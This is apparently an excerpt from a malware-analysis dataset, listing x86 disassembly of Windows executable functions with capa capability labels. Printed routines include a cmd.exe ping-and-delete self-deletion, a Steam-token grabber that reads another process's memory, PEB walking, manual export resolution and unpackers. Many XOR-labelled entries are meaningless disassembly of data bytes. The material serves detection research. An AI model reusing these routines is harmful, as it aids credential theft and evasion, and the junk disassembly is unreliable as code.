joyce8/EMBER2024-capa huggingface dataset:
Function at 0x466154
Capabilities:
Encode data using xor

Disassembly:
dec edi
sbb eax, 0xd14aeac0
insd dword es:[edi], dx
in eax, dx
sbb ah, ch
cmp dl, ch
xor byte [0x21b3aa0b], cl

Function at 0x469a24
Capabilities:
Encode data using xor

Disassembly:
add byte [ebx], cl
fiadd dword [eax - 0x54]
adc edi, dword [esi - 0x1a7ef871]
pop eax
jae 0x469a9d
cmp cl, byte [ebp + 0x171b4e69]
and byte [eax - 6], cl
sub eax, 0xd78d8266
invalid
aas
sbb al, 0xbc
and eax, 0xbb1f61b7
pop eax
invalid

Function at 0x472858
Capabilities:
Encode data using xor

Disassembly:
scasd eax, dword es:[edi]
mov ebp, 0x7c1334b2
cmp byte [ebx + 0x3a], ch
add esp, dword [esi + 0x627b250e]
sbb al, 0xd9
Function at 0x47b45a
Capabilities:
Encode data using xor

Disassembly:
arpl word [ebx - 0x133e6927], dx
and ah, cl
inc esi
add al, 0
aam 0xd7
mov dh, 0x6a
mov cl, 0x83
rol dword [esi - 0x612bce48], 1
cmp byte [ecx], 0x31
xchg ecx, eax
mov ebx, 0xaaf55a11
push esi
adc eax, 0x342b0ac9
xchg edi, eax
sbb byte [ebx - 0x12], 0x17
test eax, 0x94769520
pop ds
inc edx
cmp al, 0xee
out 0xcf, eax
invalid

Function at 0x47f81a
Capabilities:
Encode data using xor

Disassembly:
pushal
add al, 0x1f
sbb eax, 0x5e05e5cf
in eax, dx
call 0xde54117d
xchg ebp, eax
sbb byte [ebp - 0x4b2218cf], ch
xor bl, byte [eax]
cmp dword [edi], edi
jge 0x47f81e
iretd
insd dword es:[edi], dx
aas
ja 0x47f84c
or al, 0x25
invalid
invalid
Function at 0x48d298
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4933c6
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x4bf2d8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
call fcn.0048d48b
mov esi, dword [ebp + 8]
mov ecx, eax
lea eax, [esp + 0x14]
push eax
add ecx, 8
lea edi, [esp + 0x1c]
lea eax, [esp + 0x20]
call int.00497fe0
xor ebx, ebx
cmp eax, ebx
jne 0x48d446
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
push dword [ebp + 0xc]
mov dword [esp + 0x3c], ebx
call fcn.0048d48b
mov ecx, eax
lea eax, [esp + 0x18]
add ecx, 0x38
push eax
call fcn.00494cbf
mov byte [esp + 0x40], 1
mov esi, dword [eax]
push ebx
push esi
xor edi, edi
call fcn.004e65b4
add esp, 0x10
test eax, eax
jne 0x48d361
push esi
call fcn.0048a94a
mov esi, eax
cmp esi, ebx
pop ecx
je 0x48d361
mov eax, dword [esi + 8]
cmp eax, ebx
mov dword [esi + 8], ebx
je 0x48d34c
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
jmp 0x48d361
mov ecx, dword [esp + 0x28]
cmp ecx, ebx
je 0x48d35a
mov eax, dword [ecx]
push 1
call dword [eax]
xor edi, edi
mov dword [esp + 0x28], esi
inc edi
mov byte [esp + 0x38], bl
mov eax, dword [esp + 0x14]
cmp edi, ebx
sete byte [esp + 0x13]
add eax, 0xfffffff0
call fcn.004994f3
cmp byte [esp + 0x13], bl
je 0x48d391
push dword [ebp + 0x14]
lea eax, [esp + 0x24]
push eax
push dword [ebp + 8]
call fcn.0048d4c8
add esp, 0xc
mov esi, dword [esp + 0x28]
cmp esi, ebx
je 0x48d401
push 0x14
call fcn.004e5821
cmp eax, ebx
pop ecx
je 0x48d3bb
mov dword [eax + 4], ebx
mov dword [eax], 0x4a2934
mov dword [eax + 0x10], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov edi, eax
jmp 0x48d3bd
xor edi, edi
cmp edi, ebx
je 0x48d401
push esi
push edi
call fcn.0048c9ee
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov esi, dword [ebp + 0x10]
push eax
call fcn.0048cab6
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 8]
push eax
push ecx
push edi
push eax
push ecx
push esi
call fcn.0048cbdf
add esp, 0x18
call fcn.0048d48b
mov ebx, eax
mov eax, dword [ebp + 8]
add ebx, 8
call fcn.004976ad
mov dword [eax], edi
xor ebx, ebx
or dword [esp + 0x38], 0xffffffff
mov ecx, dword [esp + 0x28]
cmp ecx, ebx
je 0x48d418
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x48d42a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x24], ebx
cmp dword [esp + 0x20], ebx
je 0x48d46d
push dword [esp + 0x20]
call dword [fcn.00497258]
push dword [esp + 0x20]
call dword [fcn.00497250]
jmp 0x48d46d
mov edi, dword [eax + 4]
push dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov esi, dword [ebp + 0x10]
call fcn.0048cab6
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 8]
push eax
push ecx
push edi
push eax
push ecx
push esi
call fcn.0048cbdf
add esp, 0x18
xor ebx, ebx
mov ecx, dword [ebp + 0x10]
xor eax, eax
cmp dword [ecx + 4], ebx
setne al
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4949b8
Capabilities:
Encode data using xor

Disassembly:
push cs
out dx, eax
rcr dl, cl
imul ebx, dword [edx + 0x6eeecffe], 0xffffffb6
stosb byte es:[edi], al
scasb al, byte es:[edi]

Function at 0x4a1517
Capabilities:
Encode data using xor

Disassembly:
enter 0xffffffffffffbea1, 0xffffffffffffffbb
pushal
or al, 0xbf
inc ebx
adc dl, byte [ebp + 0x6b8403dc]
call 0x37f423aa
xlatb
jns 0x4a1560
xor bh, byte [edx]
pop edx
invalid
or al, cl
mov al, 0x33
test dword [edi - 0x471b6da7], esp
call 0x96d65d4a
xor ebp, dword [edi - 0x5b3df6b2]
push 0x20
sbb ch, byte [edi - 5]
inc esp
cmpsd dword [esi], dword es:[edi]
dec eax
add al, 0xe0
xor dword [di], esi
aas
push eax
jbe 0x4a152e
imul esp, dword [ecx], 0x9c616105
or bh, 0x4a
lcall 0x52e2, 0x226ec380
pop ss
loop 0x4a14f7
invalid
test al, 0xbf
cmpsb byte [esi], byte es:[edi]
invalid
Function at 0x4fc6c8
Capabilities:
Accept command line arguments

Disassembly:
mov es, word [0x52240c89]
mov dword [esp], esi
push 0x69fb0cb6
mov esi, dword [esp]
add esp, 4
not esi
xor esi, 0xa9fb3818
add ecx, esi
pop esi
add ecx, eax
sub ecx, 0x3fffcb51
aas
Function at 0x628441
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x632398
cmp edx, dword [eax]
je 0x628463
add eax, 8
inc ecx
cmp eax, 0x632428
jl 0x628454
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x632398]
jne 0x628591
mov eax, dword [0x636d6c]
cmp eax, 1
je 0x62856b
test eax, eax
jne 0x628494
cmp dword [0x6322c4], 1
je 0x62856b
cmp edx, 0xfc
je 0x628591
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x6284cb
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00628e20
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.006292b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x62850e
lea eax, [ebp - 0x1a4]
push eax
call fcn.006292b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62dd64
push edi
call fcn.0062b180
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00628e20
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00628e30
lea eax, [ebp - 0xa0]
push 0x62dd44
push eax
call fcn.00628e30
push dword [esi + 0x63239c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00628e30
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062b0f4
add esp, 0x2c
pop edi
jmp 0x628591
lea eax, [ebp + 8]
lea esi, [esi + 0x63239c]
push 0
push eax
push dword [esi]
call fcn.006292b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401030
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0x6600
push 0x4032a0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401052
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4016eb
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402adf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov dword [ebp - 0x14], ecx
push 0
mov ecx, dword [ebp + 8]
call fcn.00401e60
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x40172e
mov ecx, dword [ebp + 8]
call fcn.00401e20
test eax, eax
je 0x401730
jmp 0x401784
push 0x5c
mov ecx, dword [ebp + 8]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
call sub.MFC42.DLL_CString::Left
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.004016eb
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004026f6
mov ecx, dword [ebp + 8]
call fcn.00401e60
push eax
call dword [sym.imp.MSVCRT.dll__mkdir]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x401b6b
Capabilities:
Resolve path using msvcrt
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push edi
mov dword [ebp - 0x110], ecx
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10c], eax
push str.ShellExecuteA
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p__pgmptr]
mov ecx, dword [eax]
push ecx
push str._c_ping_127.0.0.1__n_1__del__f_q___s_
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push str.cmd.exe
push str.open
push 0
call dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x778059d6
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x15514de1
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40413e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b22c]
jne 0x404148
repz ret
jmp fcn.0040469d

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x406580
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x4065a3
mov eax, 1
jmp 0x4066ae
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x4065b9
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0x4065c3
mov eax, 2
jmp 0x4066ae
mov edx, dword [ebp + 0x10]
push edx
push 0xf8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x4065ee
mov eax, 1
jmp 0x4066ae
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0x406614
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0x406614
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0x40661e
mov eax, 2
jmp 0x4066ae
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.004184b0
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0x40665f
mov eax, 3
jmp 0x4066ae
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x4066ac
mov eax, 1
jmp 0x4066ae
xor eax, eax
pop ebp
ret

Function at 0x407050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x407066
xor eax, eax
jmp 0x4070a6
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0x40708b
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0x40708f
xor eax, eax
jmp 0x4070a6
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x78]
push ecx
call fcn.004070b0
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x416b70
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push 0x64000
call dword [sym.imp.msvcrt.dll_void____cdecl_operator_new___unsigned_int_]
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x4205ad
lea ecx, [ebp - 0x1c]
call fcn.0041a110
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x416be8
mov dword [ebp - 0x45c], 0x4205ae
lea ecx, [ebp - 0x1c]
call fcn.0041a1d0
mov eax, dword [ebp - 0x45c]
jmp 0x416d7f
mov edx, 1
test edx, edx
je 0x416d4e
mov byte [ebp - 0x438], 0
push 0x207
push 0
lea eax, [ebp - 0x437]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0xfff
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
mov edx, dword [ebp - 4]
push edx
call fcn.004169a0
add esp, 0x20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, 0x208
mov ecx, dword [ebp - 0x24]
adc ecx, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x24], 0
ja 0x416c6a
jb 0x416c65
cmp dword [ebp - 0x28], 0
ja 0x416c6a
jmp 0x416d4e
cmp dword [ebp - 0x24], 0
ja 0x416c79
cmp dword [ebp - 0x28], 0xffff
jbe 0x416c95
push 0
push 0x208
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1c]
call fcn.0041a1f0
lea ecx, [ebp - 0x1c]
call fcn.0041a4a0
push eax
call dword [0x62cf80]
cmp eax, 0x12c
jle 0x416d49
lea ecx, [ebp - 0x1c]
call fcn.0041a4a0
push eax
lea ecx, [ebp - 0x478]
call fcn.00416dc0
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.00416600
add esp, 8
lea ecx, [ebp - 0x478]
call fcn.004080a0
lea ecx, [ebp - 0x454]
call fcn.00416e20
movzx edx, al
test edx, edx
jne 0x416d3e
lea ecx, [ebp - 0x454]
call fcn.00416e00
cmp eax, 0xa
jbe 0x416d3e
lea ecx, [ebp - 0x1c]
call fcn.0041a4a0
mov dword [ebp - 0x47c], eax
lea ecx, [ebp - 0x454]
call fcn.004080a0
lea ecx, [ebp - 0x1c]
call fcn.0041a1d0
mov eax, dword [ebp - 0x47c]
jmp 0x416d7f
lea ecx, [ebp - 0x454]
call fcn.004080a0
jmp 0x416be8
mov eax, dword [ebp - 8]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
push ecx
call dword [sym.imp.msvcrt.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 0x484], 0x4205af
lea ecx, [ebp - 0x1c]
call fcn.0041a1d0
mov eax, dword [ebp - 0x484]
mov esp, ebp
pop ebp
ret
Function at 0x419160
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x419190
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x4191a3
xor eax, eax
jmp 0x419261
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x4191be
xor eax, eax
jmp 0x419261
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x4191dc
xor eax, eax
jmp 0x419261
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x41921e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x41925f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.004184d0
add esp, 8
test eax, eax
jne 0x41925d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x419261
jmp 0x419215
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41acfa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b140]
jne 0x41ad04
repz ret
jmp fcn.0041b4a7
Function at 0x41ba2c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041b7f5
and dword [ebp - 0x14], 0
cmp dword [0x42c740], 0
mov dword [ebp - 0x18], eax
jne 0x41badf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41bb87
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41bb87
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42c740], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42c744], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42c748], eax
call edi
push eax
call esi
mov dword [0x42c750], eax
test eax, eax
je 0x41badf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42c74c], eax
mov eax, dword [0x42c74c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41bb38
cmp dword [0x42c750], ecx
je 0x41bb38
push eax
call esi
push dword [0x42c750]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41bb38
test ebx, ebx
je 0x41bb38
call edi
test eax, eax
je 0x41bb2f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41bb2f
test byte [ebp - 8], 1
jne 0x41bb38
or dword [ebp + 0x10], 0x200000
jmp 0x41bb6b
mov eax, dword [0x42c744]
cmp eax, dword [ebp - 0x18]
je 0x41bb6b
push eax
call esi
test eax, eax
je 0x41bb6b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41bb6b
mov eax, dword [0x42c748]
cmp eax, dword [ebp - 0x18]
je 0x41bb6b
push eax
call esi
test eax, eax
je 0x41bb6b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42c740]
call esi
test eax, eax
je 0x41bb87
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41bb89
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041acfa
leave
ret